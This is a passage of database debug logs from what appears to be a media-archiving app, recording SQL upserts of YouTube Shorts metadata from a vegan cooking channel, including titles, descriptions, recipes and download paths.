(?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan foods I just couldn't live without and I eat them every week. So many of my vegan and gluten free recipes incorporate these. What are your must have foods that you buy every week from the grocery store? Leave your comments and don't forget to subscribe!", "Top 10 Foods I Eat Every Week as a Vegan #shorts", "abda453f-de5a-45ae-a92a-3268a5e505db", 1, [], 21, false, "2n-EioT1oyA", "https://www.youtube.com/shorts/2n-EioT1oyA", 432, "/downloads/downloads/alec/Steamy Vegan/2022-05-22 Top 10 Foods I Eat Every Week as a Vegan #shorts/Top 10 Foods I Eat Every Week as a Vegan #shorts [2n-EioT1oyA].NA", false, false, true, 4, ~U[2022-05-22 18:45:00Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "These vegan foods I just couldn't live without and I eat them every week. So many of my vegan and gluten free recipes incorporate these. What are your must have foods that you buy every week from the grocery store? Leave your comments and don't forget to subscribe!", "Top 10 Foods I Eat Every Week as a Vegan #shorts", 1, 21, false, "2n-EioT1oyA", "https://www.youtube.com/shorts/2n-EioT1oyA", "/downloads/downloads/alec/Steamy Vegan/2022-05-22 Top 10 Foods I Eat Every Week as a Vegan #shorts/Top 10 Foods I Eat Every Week as a Vegan #shorts [2n-EioT1oyA].NA", true, ~U[2022-05-22 18:45:00Z]] 20:31:11.048 [debug] QUERY OK source="sources" db=0.4ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.050 [debug] QUERY OK source="media_items" db=1.5ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-22 15:37:52Z], 1] 20:31:11.051 [debug] QUERY OK source="media_items" db=0.7ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nThese 7-INGREDIENT protein bars are melt-in-your-mouth, fudgey, decadent goodness without any refined sugars or unhealthy ingredients. Great as a post-workout snack or an anytime treat when you need a quick fudgey fix! \n\nWATCH THE FULL RECIPE VIDEO HERE: https://youtu.be/ZjO06fyfHLc\n\nMusic by Sonic Nothing - Blush - https://thmatc.co/?l=B94E51FA", "7-INGREDIENT PROTEIN BARS // Decadent but healthy! #shorts", "976f0f3a-16d9-4564-84b9-da1f24293e0b", 1, [], 60, false, "ftkpAD_YrzA", "https://www.youtube.com/shorts/ftkpAD_YrzA", 433, "/downloads/downloads/alec/Steamy Vegan/2022-05-22 7-INGREDIENT PROTEIN BARS ⧸⧸ Decadent but healthy! #shorts/7-INGREDIENT PROTEIN BARS ⧸⧸ Decadent but healthy! #shorts [ftkpAD_YrzA].NA", false, false, true, 4, ~U[2022-05-22 15:37:52Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nThese 7-INGREDIENT protein bars are melt-in-your-mouth, fudgey, decadent goodness without any refined sugars or unhealthy ingredients. Great as a post-workout snack or an anytime treat when you need a quick fudgey fix! \n\nWATCH THE FULL RECIPE VIDEO HERE: https://youtu.be/ZjO06fyfHLc\n\nMusic by Sonic Nothing - Blush - https://thmatc.co/?l=B94E51FA", "7-INGREDIENT PROTEIN BARS // Decadent but healthy! #shorts", 1, 60, false, "ftkpAD_YrzA", "https://www.youtube.com/shorts/ftkpAD_YrzA", "/downloads/downloads/alec/Steamy Vegan/2022-05-22 7-INGREDIENT PROTEIN BARS ⧸⧸ Decadent but healthy! #shorts/7-INGREDIENT PROTEIN BARS ⧸⧸ Decadent but healthy! #shorts [ftkpAD_YrzA].NA", true, ~U[2022-05-22 15:37:52Z]] 20:31:11.051 [debug] QUERY OK source="sources" db=0.4ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.053 [debug] QUERY OK source="media_items" db=1.5ms idle=4.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-22 01:43:57Z], 1] 20:31:11.054 [debug] QUERY OK source="media_items" db=0.6ms idle=5.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Watched Scott Pilgrim Vs. The World and loved this scene about the vegan police. Thought we'd mash up one of our videos about the occasional cheat meal Brad has that violates vegan code.\n\nFull Video: https://youtu.be/wp9Znjx6GlA", "Call the Vegan Police! Brad Violates Vegan Code #shorts", "9a0434d4-1c8f-4c43-b843-b5d597b313bd", 1, [], 17, false, "n_pL_AJWrBE", "https://www.youtube.com/shorts/n_pL_AJWrBE", 434, "/downloads/downloads/alec/Steamy Vegan/2022-05-22 Call the Vegan Police! Brad Violates Vegan Code #shorts/Call the Vegan Police! Brad Violates Vegan Code #shorts [n_pL_AJWrBE].NA", false, false, true, 4, ~U[2022-05-22 01:43:57Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Watched Scott Pilgrim Vs. The World and loved this scene about the vegan police. Thought we'd mash up one of our videos about the occasional cheat meal Brad has that violates vegan code.\n\nFull Video: https://youtu.be/wp9Znjx6GlA", "Call the Vegan Police! Brad Violates Vegan Code #shorts", 1, 17, false, "n_pL_AJWrBE", "https://www.youtube.com/shorts/n_pL_AJWrBE", "/downloads/downloads/alec/Steamy Vegan/2022-05-22 Call the Vegan Police! Brad Violates Vegan Code #shorts/Call the Vegan Police! Brad Violates Vegan Code #shorts [n_pL_AJWrBE].NA", true, ~U[2022-05-22 01:43:57Z]] 20:31:11.054 [debug] QUERY OK source="sources" db=0.4ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.056 [debug] QUERY OK source="media_items" db=1.4ms idle=3.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-21 19:00:11Z], 1] 20:31:11.057 [debug] QUERY OK source="media_items" db=0.9ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Rain or shine, this Sunshine Smoothie is guaranteed to put a smile on your face! ☀️Packed with sweet citrus, fresh carrots and the tropical flavours of banana and mango, this sun-coloured sipper is liquid happiness!\n\nWATCH FULL VIDEO FOR ENTIRE RECIPE HERE: https://youtu.be/NToOA5QK408\n\nINGREDIENTS:\n1.5 cups orange juice\n1/3 cup non-dairy vanilla yogurt\n1 inch chunk of ginger peeled,\n1 small carrot\n1 banana\nzest and juice of 1 lemon\n1 tsp ground turmeric\n1 cup frozen mango\na few ice cubes (optional)\n\nFirst, add your orange and lemon juices, and non-dairy yogurt into your blender jug. A general rule of thumb in smoothie making is always add your liquids first.\nAdd your soft fruits – the banana, ginger, and ground turmeric .Lastly, add the carrot and frozen mango (hard and frozen items should always be added to the jug last).\nFinally, seal the lid and blend on high for 30-45 seconds, until completely smooth. Pour the smoothie into a glass, garnish with you favourite toppings and enjoy!", "☀️SUNSHINE SMOOTHIE☀️ sip on this when you’re feeling sad", "74c1a5a3-dec4-42d5-aceb-89ed54f53a07", 1, [], 60, false, "XmpGMxLJUEg", "https://www.youtube.com/shorts/XmpGMxLJUEg", 435, "/downloads/downloads/alec/Steamy Vegan/2022-05-21 ☀️SUNSHINE SMOOTHIE☀️ sip on this when you’re feeling sad/☀️SUNSHINE SMOOTHIE☀️ sip on this when you’re feeling sad [XmpGMxLJUEg].NA", false, false, true, 2, ~U[2022-05-21 19:00:11Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Rain or shine, this Sunshine Smoothie is guaranteed to put a smile on your face! ☀️Packed with sweet citrus, fresh carrots and the tropical flavours of banana and mango, this sun-coloured sipper is liquid happiness!\n\nWATCH FULL VIDEO FOR ENTIRE RECIPE HERE: https://youtu.be/NToOA5QK408\n\nINGREDIENTS:\n1.5 cups orange juice\n1/3 cup non-dairy vanilla yogurt\n1 inch chunk of ginger peeled,\n1 small carrot\n1 banana\nzest and juice of 1 lemon\n1 tsp ground turmeric\n1 cup frozen mango\na few ice cubes (optional)\n\nFirst, add your orange and lemon juices, and non-dairy yogurt into your blender jug. A general rule of thumb in smoothie making is always add your liquids first.\nAdd your soft fruits – the banana, ginger, and ground turmeric .Lastly, add the carrot and frozen mango (hard and frozen items should always be added to the jug last).\nFinally, seal the lid and blend on high for 30-45 seconds, until completely smooth. Pour the smoothie into a glass, garnish with you favourite toppings and enjoy!", "☀️SUNSHINE SMOOTHIE☀️ sip on this when you’re feeling sad", 1, 60, false, "XmpGMxLJUEg", "https://www.youtube.com/shorts/XmpGMxLJUEg", "/downloads/downloads/alec/Steamy Vegan/2022-05-21 ☀️SUNSHINE SMOOTHIE☀️ sip on this when you’re feeling sad/☀️SUNSHINE SMOOTHIE☀️ sip on this when you’re feeling sad [XmpGMxLJUEg].NA", true, ~U[2022-05-21 19:00:11Z]] 20:31:11.058 [debug] QUERY OK source="sources" db=0.5ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.060 [debug] QUERY OK source="media_items" db=1.4ms idle=4.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-21 13:00:08Z], 1] 20:31:11.062 [debug] QUERY OK source="media_items" db=0.6ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's the weekend which means pancakes in our house but what if you want to have healthy pancakes that are gluten free, vegan, soy free and nut free and don't make you feel guilty? Well, then you've come to the right place because these are the perfect and easiest pancakes for this weekend's healthier breakfast. \n\nFull video: https://youtu.be/Ku7a74eh3a8", "The Perfect Pancakes", "e394aef9-d809-4904-9cd2-8e92fbd508f7", 1, [], 12, false, "I2wtst3iTpk", "https://www.youtube.com/shorts/I2wtst3iTpk", 436, "/downloads/downloads/alec/Steamy Vegan/2022-05-21 The Perfect Pancakes/The Perfect Pancakes [I2wtst3iTpk].NA", false, false, true, 2, ~U[2022-05-21 13:00:08Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "It's the weekend which means pancakes in our house but what if you want to have healthy pancakes that are gluten free, vegan, soy free and nut free and don't make you feel guilty? Well, then you've come to the right place because these are the perfect and easiest pancakes for this weekend's healthier breakfast. \n\nFull video: https://youtu.be/Ku7a74eh3a8", "The Perfect Pancakes", 1, 12, false, "I2wtst3iTpk", "https://www.youtube.com/shorts/I2wtst3iTpk", "/downloads/downloads/alec/Steamy Vegan/2022-05-21 The Perfect Pancakes/The Perfect Pancakes [I2wtst3iTpk].NA", true, ~U[2022-05-21 13:00:08Z]] 20:31:11.063 [debug] QUERY OK source="sources" db=0.4ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.064 [debug] QUERY OK source="media_items" db=1.5ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-20 23:46:13Z], 1] 20:31:11.070 [debug] QUERY OK source="media_items" db=5.3ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Homer and Bart Simpson couldn't be more wrong about salad. Whoever says you don’t make friends with salad obviously never tried one of mine 😏 Check out the Steamy Vegan Kitchen channel for several healthy, fun, and delicious salads that are so good they'll make Homer and Bart Simpson jealous! Doh! 🙄", "Homer and Bart Simpson are so wrong about salad #shorts", "db626472-8732-42ae-b5b6-e2265b0d258b", 1, [], 19, false, "hwoU3w3Wlx4", "https://www.youtube.com/shorts/hwoU3w3Wlx4", 437, "/downloads/downloads/alec/Steamy Vegan/2022-05-20 Homer and Bart Simpson are so wrong about salad #shorts/Homer and Bart Simpson are so wrong about salad #shorts [hwoU3w3Wlx4].NA", false, false, true, 4, ~U[2022-05-20 23:46:13Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Homer and Bart Simpson couldn't be more wrong about salad. Whoever says you don’t make friends with salad obviously never tried one of mine 😏 Check out the Steamy Vegan Kitchen channel for several healthy, fun, and delicious salads that are so good they'll make Homer and Bart Simpson jealous! Doh! 🙄", "Homer and Bart Simpson are so wrong about salad #shorts", 1, 19, false, "hwoU3w3Wlx4", "https://www.youtube.com/shorts/hwoU3w3Wlx4", "/downloads/downloads/alec/Steamy Vegan/2022-05-20 Homer and Bart Simpson are so wrong about salad #shorts/Homer and Bart Simpson are so wrong about salad #shorts [hwoU3w3Wlx4].NA", true, ~U[2022-05-20 23:46:13Z]] 20:31:11.071 [debug] QUERY OK source="sources" db=0.4ms idle=10.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.072 [debug] QUERY OK source="media_items" db=1.5ms idle=8.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-20 19:00:05Z], 1] 20:31:11.074 [debug] QUERY OK source="media_items" db=1.5ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The perfect vegan and GF chocolate cream pie dessert for cheat days. It's made from avocado and the crust uses pecans which makes this chocolate cream pie much healthier then you're used to.\n\nFull recipe video here: https://youtu.be/8GSEsZWhkhs\n\nDon't foget to subscribe for more steamy, easy, and lemon-squeezy recipes!", "Guilt-Free Healthy Chocolate Cream Pie made Vegan and Gluten Free #shorts", "151cc210-4b18-47f9-bf6e-6dce0a19158a", 1, [], 36, false, "FKGdn66b-As", "https://www.youtube.com/shorts/FKGdn66b-As", 438, "/downloads/downloads/alec/Steamy Vegan/2022-05-20 Guilt-Free Healthy Chocolate Cream Pie made Vegan and Gluten Free #shorts/Guilt-Free Healthy Chocolate Cream Pie made Vegan and Gluten Free #shorts [FKGdn66b-As].NA", false, false, true, 4, ~U[2022-05-20 19:00:05Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "The perfect vegan and GF chocolate cream pie dessert for cheat days. It's made from avocado and the crust uses pecans which makes this chocolate cream pie much healthier then you're used to.\n\nFull recipe video here: https://youtu.be/8GSEsZWhkhs\n\nDon't foget to subscribe for more steamy, easy, and lemon-squeezy recipes!", "Guilt-Free Healthy Chocolate Cream Pie made Vegan and Gluten Free #shorts", 1, 36, false, "FKGdn66b-As", "https://www.youtube.com/shorts/FKGdn66b-As", "/downloads/downloads/alec/Steamy Vegan/2022-05-20 Guilt-Free Healthy Chocolate Cream Pie made Vegan and Gluten Free #shorts/Guilt-Free Healthy Chocolate Cream Pie made Vegan and Gluten Free #shorts [FKGdn66b-As].NA", true, ~U[2022-05-20 19:00:05Z]] 20:31:11.075 [debug] QUERY OK source="sources" db=0.9ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.078 [debug] QUERY OK source="media_items" db=2.1ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-20 15:00:36Z], 1] 20:31:11.080 [debug] QUERY OK source="media_items" db=1.4ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Cardamom Grapefruit Pink Juice 💗🌱 feat. rescued grapefruits from @pekoproduce! \n\nI’ve LOVED getting grapefruits in my last few Peko boxes - and making this juice was a fun little experiment! (Which happened to turn out pretty great - just sayin’ 😉) High in antioxidants like vitamin A packed with fibre, Grapefruits are a nutritional powerhouse! \n\nSAVE THIS RECIPE! ✔️ \nThe flesh of 2 grapefruits (pulp included)\n1.5 cups filtered water \n2 tbsp maple syrup (extra if you like it sweeter)\n1/4 tsp cardamom\nPinch of sea salt \n\nCombine all ingredients in a high-speed blender and blend on high for 30 seconds until smooth. Pour juice into two glasses and enjoy!! (Strain through a mesh sieve if you don’t want pulp). 😉", "CARDAMOM GRAPEFRUIT PINK JUICE 🧃", "1f633d69-859d-4062-9557-52144a92449f", 1, [], 21, false, "rqneq1-O2-M", "https://www.youtube.com/shorts/rqneq1-O2-M", 439, "/downloads/downloads/alec/Steamy Vegan/2022-05-20 CARDAMOM GRAPEFRUIT PINK JUICE 🧃/CARDAMOM GRAPEFRUIT PINK JUICE 🧃 [rqneq1-O2-M].NA", false, false, true, 4, ~U[2022-05-20 15:00:36Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Cardamom Grapefruit Pink Juice 💗🌱 feat. rescued grapefruits from @pekoproduce! \n\nI’ve LOVED getting grapefruits in my last few Peko boxes - and making this juice was a fun little experiment! (Which happened to turn out pretty great - just sayin’ 😉) High in antioxidants like vitamin A packed with fibre, Grapefruits are a nutritional powerhouse! \n\nSAVE THIS RECIPE! ✔️ \nThe flesh of 2 grapefruits (pulp included)\n1.5 cups filtered water \n2 tbsp maple syrup (extra if you like it sweeter)\n1/4 tsp cardamom\nPinch of sea salt \n\nCombine all ingredients in a high-speed blender and blend on high for 30 seconds until smooth. Pour juice into two glasses and enjoy!! (Strain through a mesh sieve if you don’t want pulp). 😉", "CARDAMOM GRAPEFRUIT PINK JUICE 🧃", 1, 21, false, "rqneq1-O2-M", "https://www.youtube.com/shorts/rqneq1-O2-M", "/downloads/downloads/alec/Steamy Vegan/2022-05-20 CARDAMOM GRAPEFRUIT PINK JUICE 🧃/CARDAMOM GRAPEFRUIT PINK JUICE 🧃 [rqneq1-O2-M].NA", true, ~U[2022-05-20 15:00:36Z]] 20:31:11.081 [debug] QUERY OK source="sources" db=0.4ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.083 [debug] QUERY OK source="media_items" db=1.7ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-20 00:00:02Z], 1] 20:31:11.085 [debug] QUERY OK source="media_items" db=1.8ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Brought to you by rescued bananas 🍌 from @pekoproduce! These Banana Blender Pancakes are the ONLY pancakes I ever make anymore! They're vegan, gluten-free, fluffy and DELICIOUS.\n\nI often get bananas in my #PekoProduce mystery boxes which I LOVE. 😍 If I happen to have an over abundance or some of them arrive a bit bruised (tis the name of the game when you’re working with surplus/peculiar produce!) I like making a batch of banana blender pancakes! Any bruised parts are totally fine to use when you’re just blending it all up anyway 😊 FULL RECIPE ON THE BLOG: https://steamyvegankitchen.com/8-ingredient-banana-blender-pancakes/\n\nSAVE THIS RECIPE FOR LATER! ✅ & watch full recipe video here: https://youtu.be/Ku7a74eh3a8\n\n1 overripe banana\n1 cup GF rolled oats \n3/4 cup non-dairy milk (unsweetened)\n1 tsp cinnamon \n1/4 tsp salt \n1/2 tbsp baking powder \n1 tbsp ACV\n1 tbsp maple syrup \n\nBlend all ingredients in a blender on HIGH speed for 30-45 seconds, until smooth - heat vegan butter in a frying pan - pour 1/3 cup per pancake - cook on both sides for 3-4 minutes until golden on the edges. Serve with your favourite toppings and ENJOY!! 🤤\n\n#steamyvegankitchen #steamyvegan #veganpancakes #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz ##buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusic by Juju B. Goode - Day 9. Watermelon Arcade - https://thmatc.co/?l=309E581F", "BANANA BLENDER PANCAKES 🥞 8 ingredients, vegan and gluten-free! 🌱 #shorts", "ef23cc45-a999-4899-8980-e77bb09b3469", 1, [], 52, false, "77_m-FKvGUs", "https://www.youtube.com/shorts/77_m-FKvGUs", 440, "/downloads/downloads/alec/Steamy Vegan/2022-05-20 BANANA BLENDER PANCAKES 🥞 8 ingredients, vegan and gluten-free! 🌱 #shorts/BANANA BLENDER PANCAKES 🥞 8 ingredients, vegan and gluten-free! 🌱 #shorts [77_m-FKvGUs].NA", false, false, true, 4, ~U[2022-05-20 00:00:02Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Brought to you by rescued bananas 🍌 from @pekoproduce! These Banana Blender Pancakes are the ONLY pancakes I ever make anymore! They're vegan, gluten-free, fluffy and DELICIOUS.\n\nI often get bananas in my #PekoProduce mystery boxes which I LOVE. 😍 If I happen to have an over abundance or some of them arrive a bit bruised (tis the name of the game when you’re working with 